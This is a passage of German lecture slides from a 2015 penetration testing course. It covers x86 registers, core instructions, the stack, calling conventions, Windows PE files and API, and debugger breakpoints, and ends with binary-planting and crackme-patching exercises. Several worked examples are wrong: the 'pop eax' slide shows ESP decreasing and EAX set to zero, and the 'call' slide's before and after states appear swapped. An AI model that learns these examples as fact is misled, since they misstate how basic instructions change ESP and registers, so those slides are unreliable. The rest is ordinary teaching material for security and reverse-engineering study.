Page 224: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

224 März 2015 Penetration Testing

Allgemeine Register Register Verwendung

EAX Ergebnis von Berechnungen, Rückganewert von Funktionen

EBX Basis für Speicher-Adressierungen

ECX Zähler in Schleifen

EDX Ergänzung zu EAX bei 64-Bit-Berechnungen

ESI Quelle bei String-Operationen

EDI Ziel bei String-Operationen

Page 225: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

225 März 2015 Penetration Testing

Spezial-Register Register Verwendung

ESP Zeigt auf die Spitze des „Stacks“

EBP Zur Adressierung lokaler Variablen

EIP Wird nach dem Lesen („fetch“) einer Anweisung automatisch erhöht und zeigt dann auf die nächste Anweisung im Arbeitsspeicher

EFlags Enthält diverse Bits, die anhängig von Ausgabe bestimmter Operationen oder Berechnungen gesetzt werden und anschließend mit hilfe bedingter Sprünge ausgewertet werden können

Page 226: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

226 März 2015 Penetration Testing

EFlags

• Inhalt des EFlags-Registers abhängig von vorheriger Berechnung. Wichtige Bits sind:

Bit Bedeutung

Zero Flag Vorangehende Berechnung ergab den Wert 0

Sign Flag Berechnung ergab negativen Wert

Page 227: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

227 März 2015 Penetration Testing

Zugriff auf Register

EAX

AX

AL AH

Abwärtskompatibilität: Zugriff kann

• auf das gesamte Register

• auf einzelne Teile erfolgen

Page 228: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

228 März 2015 Penetration Testing

Befehls-Satz

Hunderte verschiedener Befehle

aber

ca. 10 Befehle machen über 80% des Codes aus

ca. 20 Befehle machen über 95% des Codes aus

Page 229: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

229 März 2015 Penetration Testing

#1 nop

• Tut gar nichts

• Opcode ist nut 1 Byte groß

• Wird als „Füllmasse“ für Speicherbereiche verwendet, z.B. beim Patchen

• Wichtig in der Exploit-Entwicklung

• Intern gleichbedeutend mit xchg eax,eax

Page 230: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

230 März 2015 Penetration Testing

Der Stack 1

• Datenstruktur im Speicher

• LIFO-Prinzip

• Elemente werden – auf den Stack „gepusht“

– Von Stack „gepoppt“

• Stack wächst von oben

nach unten

niedrige Adresse

hohe Adresse

Page 231: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

231 März 2015 Penetration Testing

Der Stack 2

• ESP zeigt immer auf die Spitze des Stacks (TOS = Top of Stack)

• Bereiche unterhalb von ESP sind undefiniert

• Der Stack wird verwendet um – Lokale Variablen anzulegen

– Parameter an Funktionen zu übergeben

– Informationen über zuvor aufgerufene Funktionen zu speichern

• Verständnis für den Stack ist essentiell, wenn man ein Programm auf Assembler-Ebene verstehen will

Page 232: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

232 März 2015 Penetration Testing

#2 push

• Legt ein DWORD (4 Byte) auf dem Stack ab

• Reduziert den Stack-Pointer (ESP) automatisch um 4 Byte

• Parameter kann sowohl Konstante als auch Register sein

push eax

push 0x100

Page 233: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

233 März 2015 Penetration Testing

Beispiel: push eax

Adresse Wert

0x0012AA80 undefined

0x0012AA84 undefined

0x0012AA88 undefined

0x0012AA8C 0x00000003

0x0012AA90 0x00000002

0x0012AA94 0x00000001

Vorher:

Register Wert

eax 0x00000010

esp 0x0012AA8C

Adresse Wert

0x0012AA80 undefined

0x0012AA84 undefined

0x0012AA88 0x00000010

0x0012AA8C 0x00000003

0x0012AA90 0x00000002

0x0012AA94 0x00000001

Danach:

Register Wert

eax 0x00000010

esp 0x0012AA88

Page 234: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

234 März 2015 Penetration Testing

#3 pop

• Entfernt ein Element vom Stack und legt es in einem Register ab

• Erhöht ESP automatisch um 4

pop eax

pop ebp

Page 235: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

235 März 2015 Penetration Testing

Beispiel: pop eax

Adresse Wert

0x0012AA80 undefined

0x0012AA84 undefined

0x0012AA88 undefined

0x0012AA8C 0x00000003

0x0012AA90 0x00000002

0x0012AA94 0x00000001

Vorher:

Register Wert

eax 0x00000010

esp 0x0012AA8C

Adresse Wert

0x0012AA80 undefined

0x0012AA84 undefined

0x0012AA88 0x00000010

0x0012AA8C 0x00000003

0x0012AA90 0x00000002

0x0012AA94 0x00000001

Danach:

Register Wert

eax 0x00000000

esp 0x0012AA88

Page 236: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

236 März 2015 Penetration Testing

#4 call

Ruft ein Unterprogramm („Funktion“) auf:

1. Speichert die Adresse der nächsten Anweisung auf dem Stack

2. Ändert EIP auf die angegebene Adresse der Funktion (Sprungziel)

call 0x0040105A call eax

Page 237: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

237 März 2015 Penetration Testing

Beispiel: call 0x0040105A

Adresse Wert

0x0012AA80 undefined

0x0012AA84 0x00401025

0x0012AA88 0x00000010

0x0012AA8C 0x00000003

0x0012AA90 0x00000002

0x0012AA94 0x00000001

Vorher:

Register Wert

eip 0x0040105A

esp 0x0012AA84

Adresse Wert

0x0012AA80 undefined

0x0012AA84 undefined

0x0012AA88 0x00000010

0x0012AA8C 0x00000003

0x0012AA90 0x00000002

0x0012AA94 0x00000001

Danach:

Register Wert

eip 0x00401020

esp 0x0012AA88

Page 238: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

238 März 2015 Penetration Testing

#5 ret

Rücksprung aus einer Funktion

Es gibt 2 Formen: 1. Holen der Rücksprungadresse vom Stack und Sprung

dorthin 2. Holen der Rücksprungadresse vom Stack und Sprung

dorthin, anschließend x Byte von Stack entfernen

ret ret 0xC (je nach Disassembler auch „retn“)

Page 239: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

239 März 2015 Penetration Testing

Beispiel: ret 0x8

Adresse Wert

0x0012AA80 undefined

0x0012AA84 0x00401025

0x0012AA88 0x00000004

0x0012AA8C 0x00000003

0x0012AA90 0x00000002

0x0012AA94 0x00000001

Vorher:

Register Wert

eip 0x0040105A

esp 0x0012AA84

Adresse Wert

0x0012AA80 undefined

0x0012AA84 undefined

0x0012AA88 undefined

0x0012AA8C undefined

0x0012AA90 0x00000002

0x0012AA94 0x00000001

Danach:

Register Wert

eip 0x00401025

esp 0x0012AA90

Page 240: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

240 März 2015 Penetration Testing

Unterprogramme

Problem:

• Funktionen erwarten Parameter • Funktionen haben Rückgabe-Wert

• Kommunikation zwischen Hauptprogramm und

Funktion kann erfolgen über – Globale Variablen – Stack – Register

Page 241: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

241 März 2015 Penetration Testing

Beispiel 1: Hello.c

.text:00401000 push ebp

.text:00401001 mov ebp, esp

.text:00401003 push offset aHello

.text:00401008 call sub_401014

.text:0040100D add esp, 4

.text:00401010 xor eax, eax

.text:00401012 pop ebp

.text:00401013 retn

#include<stdio.h>

int main() {

printf("Hello World\n");

return 0;

}

Page 242: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

242 März 2015 Penetration Testing

Aufrufkonventionen

Wie Parameter übergeben werden ist compilerabhängig. Es gibt Standards, um Kompatibilität zwischen Programmen und Bibliotheken zu sichern. Man nennt dies Aufruf-Konventionen. • cdecl • stdcall • fastcall • pascal

Page 243: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

243 März 2015 Penetration Testing

cdecl

• „c declaration“ – häufigste Aufruf-Art

• Parameter werden von rechts nach links auf den Stack gelegt

• Rückgabewert wird in eax zurückgegeben

• Aufrufender Code ist für das Aufräumen des Stack zuständig

Page 244: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

244 März 2015 Penetration Testing

cdecl Beispiel

int func (int a, int b, int c) {…} push c push b push a call func add esp, 0xC Funktions-Rückgabewert ist in eax

Page 245: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

245 März 2015 Penetration Testing

stdcall

• „standard call“ – typisch für Microsoft-Code (z.B. Win32-API)

• Parameter werden von rechts nach links auf den Stack gelegt

• Rückgabewert wird in eax zurückgegeben

• Aufgerufener Code ist für das Aufräumen des Stack zuständig

Page 246: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

246 März 2015 Penetration Testing

fastcall

• fastcall, sehr laufzeit-effizient

• erste drei Parameter werden in eax, edx und ecx übergeben

• übrige Parameter werden von rechts nach links auf den Stack gelegt

• Rückgabewert wird in eax zurückgegeben

• Aufgerufener Code ist für das Aufräumen des Stack zuständig

Page 247: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

247 März 2015 Penetration Testing

pascal

• Von Borland-Compilern (Pascal, Delphi, C++ Builder) verwendet

• Parameter werden von links nach rechts auf den Stack gelegt

• Rückgabewert wird in eax zurückgegeben

• Aufrufender Code ist für das Aufräumen des Stack zuständig

Page 248: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

248 März 2015 Penetration Testing

Register-Konventionen

• Bei Funktionsaufrufen dürfen folgende Register am Ende der Funktion verändert sein: EAX, ECX, EDX, EFlags

• Wiederhergestellt werden müssen: EBX, ESI, EDI, EBP

• Sonderfall ESP (hängt von Aufruf-Konvention ab)

• EIP wird durch return wiederhergestellt

Page 249: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

249 März 2015 Penetration Testing

Stack Frames 1

1 push ebp

2 mov ebp, esp

3 sub esp, 8

1: BP wird auf dem Stack gesichert 2: BP wird auf TOS gesetzt 3: TOS wird 8 Byte nach unten geschoben Warum?

Page 250: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

250 März 2015 Penetration Testing

Stack Frames 2

push par_1 push par_2 call f f (p1, p2) { push ebp mov ebp, esp sub esp, 4 … }

loc_1

return address

saved ebp

par_1

par_2

old saved ebp

Stack-Frames bilden im Speicher eine verkettete Liste

Page 251: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

251 März 2015 Penetration Testing

Beispiel 2: Function.c .text:00401000 push ebp

.text:00401001 mov ebp, esp

.text:00401003 mov eax, [ebp+arg_0]

.text:00401006 add eax, [ebp+arg_4]

.text:00401009 mov [ebp+arg_0], eax

.text:0040100C mov eax, [ebp+arg_0]

.text:0040100F pop ebp

.text:00401010 retn

.text:00401020 push ebp

.text:00401021 mov ebp, esp

.text:00401023 push ecx

.text:00401024 push 14h

.text:00401026 push 0Ah

.text:00401028 call sub_401000

.text:0040102D add esp, 8

.text:00401030 mov [ebp+var_4], eax

.text:00401033 mov eax, [ebp+var_4]

.text:00401036 push eax

.text:00401037 push offset ergebnis

.text:0040103C call sub_40104A

.text:00401041 add esp, 8

.text:00401044 xor eax, eax

.text:00401046 mov esp, ebp

.text:00401048 pop ebp

.text:00401049 retn

#include<stdio.h>

int addiere(int p1, int p2) {

p1 = p1 + p2;

return p1;

}

int main() {

int e = addiere(10,20);

printf("Das Ergebnis von

10 + 20 ist %d\n", e);

return 0;

}

Page 252: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

252 März 2015 Penetration Testing

Speicherort von Variablen

Lokale Variablen • liegen auf dem Stack • sind über jeweils gültigen Stack-Frame anzusprechen • absolute (globale) Adresse ist nur zur Laufzeit bekannt

Globale Variablen • liegen in Daten-Segment • Compiler kennt die globale Adresse (kann sich aber

durch „Relocation“ ändern)

Page 253: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

253 März 2015 Penetration Testing

Moderne Betriebssysteme 1

Betriebssysteme leisten unter anderem

• Programme haben nur eingeschränkten Zugriff auf die Hardware

• Kapselung einzelner Programme • Programmfehler dürfen nicht die Systemstabilität

gefährden • Bereitstellung abstrakter Schnittstellen zur

Hardware • Verteilung von Ressourcen

Page 254: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

254 März 2015 Penetration Testing

Moderne Betriebssysteme 2

Unterteilung in mehrere Bereiche: User-Bereich (Ring 3) • normale Programme • Eingeschränkter Zugriff über API Kernel-Bereich (Ring 0) • Kernel, Treiber, etc. • Voller Zugriff auf die Hardware

Ring 1 u. 2 werden von Windows nicht genutzt

0 1 2 3

Page 255: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

255 März 2015 Penetration Testing

Moderne Betriebssysteme: Prozess

Ein Prozess ist ein ablaufendes Programm

Besteht aus:

• Programmdatei

• Adressraum

• Mindestens einem Thread

Page 256: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

256 März 2015 Penetration Testing

Moderne Betriebssysteme: Thread

Ein Thread ist ein Ausführungsstrang

• Jeder Thread gehört zu einem Prozess und greift auf den selben Adressraum zu

• Jeder Thread hat eigenen Zustand des Prozessors, eigene Register und damit auch eigenen Stack

• Ein Prozess hat am Anfang genau einen Thread und kann bei Bedarf weitere erzeugen

Page 257: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

257 März 2015 Penetration Testing

Prozess unter Windows

Ein Windows-Prozess besteht aus

• eigenem virtuellen Adressraum

• Handle-Tabelle (Datei-Deskriptoren etc.)

• Security Token

• zugehörigen Threads

Kernelspace Memory

Userspace Memory

0x00000000

0xFFFFFFFF

Page 258: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

258 März 2015 Penetration Testing

Windows-Anwendungen

Anwendungen beinhalten • Programmcode • Daten

– Initialisierte Variablen – Icons – Bilder – Fensterlayout

Verwenden Bibliotheken

Page 259: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

259 März 2015 Penetration Testing

Statisch vs. dynamisches Linken

Beim Erzeugen einer ausführbaren Datei müssen Bibliotheken berücksichtigt werden.

statisch: Bibliotheks-Code wird in die ausführbare Datei übernommen.

dynamisch: Code wird zur Laufzeit aus externer Datei (.dll) nachgeladen. Referenziert wird der code i.d.R. über tatsächlichen Funktionsnamen

Page 260: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

260 März 2015 Penetration Testing

PE-Dateiformat

Portable Executable Typische Dateiendungen: .exe .dll .scr .sys .drv Imports verraten viel über das Verhalten eines Programms Übung: PE Explorer

MZ-Header

PE Header

Code Section

Data Section

Imports

Resources

Page 261: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

261 März 2015 Penetration Testing

PE-Loader

Erzeugen eines neuen Prozesses:

• Initialisieren des Prozesses

• Einzelne Sektionen der PE-Datei in den Speicher laden

• Rekursives Laden benötigter DLLs

• Evtl. Relocation

• Ausführung startet bei „WinMain“

Page 262: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

262 März 2015 Penetration Testing

Beispiel Speicher-Layout Memory map of test.exe

Address Size Owner Section Contains

0012E000 00002000 stack of main

00400000 00001000 test PE header

00401000 00001000 test text SFX,data

00402000 00001000 test imports imports

00403000 00001000 test relocs relocations

77DA0000 00001000 Advapi32 PE header

77DA1000 00075000 Advapi32 .text code,imports

77E16000 00005000 Advapi32 .data data

77E1B000 0002A000 Advapi32 .rsrc resources

77E45000 00005000 Advapi32 .reloc relocations

7C800000 00001000 kernel32 PE header

7C801000 00084000 kernel32 .text code,imports

7C885000 00005000 kernel32 .data data

7C88A000 00078000 kernel32 .rsrc resources

7C902000 00006000 kernel32 .reloc relocations

7C910000 00001000 ntdll PE header

7C911000 0007A000 ntdll .text code,exports

7C98B000 00005000 ntdll .data data

7C990000 00033000 ntdll .rsrc resources

7C9C3000 00003000 ntdll .reloc relocations

7E360000 00001000 user32 PE header

7E361000 00060000 user32 .text code,imports

7E3C1000 00002000 user32 .data data

7E3C3000 0002B000 user32 .rsrc resources

7E3EE000 00003000 user32 .reloc relocations

Page 263: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

263 März 2015 Penetration Testing

Windows API

Application Programmers Interface Schnittstelle zwischen Anwendungsprogrammen und Betriebssystem High-Level-Aufrufe Besteht aus diversen DLL-Dateien • user32.dll (Fenster, Buttons, Menüs) • advapi.dll (Zusatzfunktionen: Registry, Benutzerverwaltung, Services) • kernel32.dll (Speicherverwaltung, Ein-/Ausgabe, Threads, …) • gdi32.dll (primitive Grafik, Schrift) • ws2_32.dll (Netzwerk)

Page 264: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

264 März 2015 Penetration Testing

Native API

Implementiert in ntdll.dll und ntoskrnl.exe

Hier erfolgt, falls nötig, der Wechsel in Ring 0

Abhängigkeiten der

API-DLLs untereinander,

siehe PE-Explorer

kernel32.dll

ntdll.dll

ntoskrnl.exe

sysenter Ring 3 Ring 0

Page 265: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

265 März 2015 Penetration Testing

API-Aufrufe

„sprechende“ Funktionsnamen, z.B. • CreateProcess • Messagebox • DestroyWindow Namensgebung am Ende: A: Ansi-Strings (8 Bit pro Zeichen) W: Unicode-Strings (16 Bit pro Zeichen) Ex: Extended, erweiterte Funktion

Page 266: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

266 März 2015 Penetration Testing

Übung: „Binary Planting“

Process Monitor

Page 267: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

267 März 2015 Penetration Testing

Debugger

• Ermöglicht Analyse zur Laufzeit

Vorteile:

• Bei statischer Analyse stehen nicht alle Informationen zur Verfügung (z.B. Laufzeit-Variablen)

• Statische Analyse nicht möglich (Self-Modifying Code / EXE-Packer)

Page 268: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

268 März 2015 Penetration Testing

Typen von Debuggern

• Quelltext-Debugger • Assembler-Debugger

• Lokal • Remote

• Usermode • Kernelmode

Page 269: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

269 März 2015 Penetration Testing

Funktionalität

• Programm jederzeit unterbrechen

• Haltepunkte setzen

• Programmzustand (Register, Speicher) ansehen und verändern

• Programm verändern (patchen)

• Einzelschrittausführung

• Automatisch Metainformationen anzeigen (z.B. Parameternamen bei Funktionsaufrufen)

Page 270: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

270 März 2015 Penetration Testing

Debugging unter Windows

Die Win32-API unterstützt Debugging direkt • DebugActiveProcess: Debuggen starten • WaitForDebugEvent: Debug-Event abwarten • DebugBreakProcess: Prozess unterbrechen

Debug-Events können sein: CREATE_PROCESS_DEBUG_EVENT, CREATE_THREAD_DEBUG_EVENT, EXCEPTION_DEBUG_EVENT, EXIT_PROCESS_DEBUG_EVENT, EXIT_THREAD_DEBUG_EVENT, LOAD_DLL_DEBUG_EVENT, OUTPUT_DEBUG_STRING_EVENT, UNLOAD_DLL_DEBUG_EVENT

Page 271: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

271 März 2015 Penetration Testing

Beispiel: EXCEPTION_DEBUG_EVENT

Event tritt auf, wenn im Programm eine Ausnahme (Exception) auftritt:

• Zugriffsverletzung

• Division durch 0

• Haltepunkt

Page 272: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

272 März 2015 Penetration Testing

Software-Haltepunkte

Ermöglichen das Unterbrechen eines Programms an einer festgelegten Stelle

Erlauben das Überspringen von unwichtigen oder bekannten Programmteilen (z.B. Schleifen)

An der Haltepunkt-Position wird der Original-Maschinencode durch die Anweisung „int 3“ (Opcode \xCC) ersetzt

Bei Fortsetzung des Programms wird der Originalbefehl wiederhergestellt

Page 273: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

273 März 2015 Penetration Testing

Hardware-Haltepunkte

• werden über spezielle Debug-Register implementiert

• Maximal 4 Haltepunkte möglich

• Programmcode bleibt unberührt

• Können auch auf Daten (lesen & schreiben) gesetzt werden

• Erleichtern das Auffinden relevanter Code-Teile

Page 274: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

274 März 2015 Penetration Testing

Speicher-Haltepunkte

Einzelne Speicherseiten (4KB) können entsprechend markiert werden (Guard Page)

Der Debugger muss entscheiden, ob tatsächlich die gesuchte Adresse angesprochen wurde

Page 275: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

275 März 2015 Penetration Testing

Einzelschritt-Ausführung

• Ausführen einer einzelnen Anweisung, dann Unterbrechung und Rückkehr zum Debugger

• Folgen von Funktions-Aufrufen („step into“)

• Wird implementiert über Trap-Flag (Teil des Flags-Registers)

Page 276: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

276 März 2015 Penetration Testing

Prozedurschritt

Wird nicht nativ unterstützt

Simulation mit Hilfe von Software-Breakpoints

Ist nächste Anweisung ein call?

nein Einzelschritt

ja Haltepunkt dahinter setzen und normale Ausführung

Page 277: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

277 März 2015 Penetration Testing

Übung: CrackmeX.exe

Crackme1.exe:

1. Passwort herausfinden

2. patchen

(Crackme2.exe: Key-Algorithmus in Erfahrung bringen)

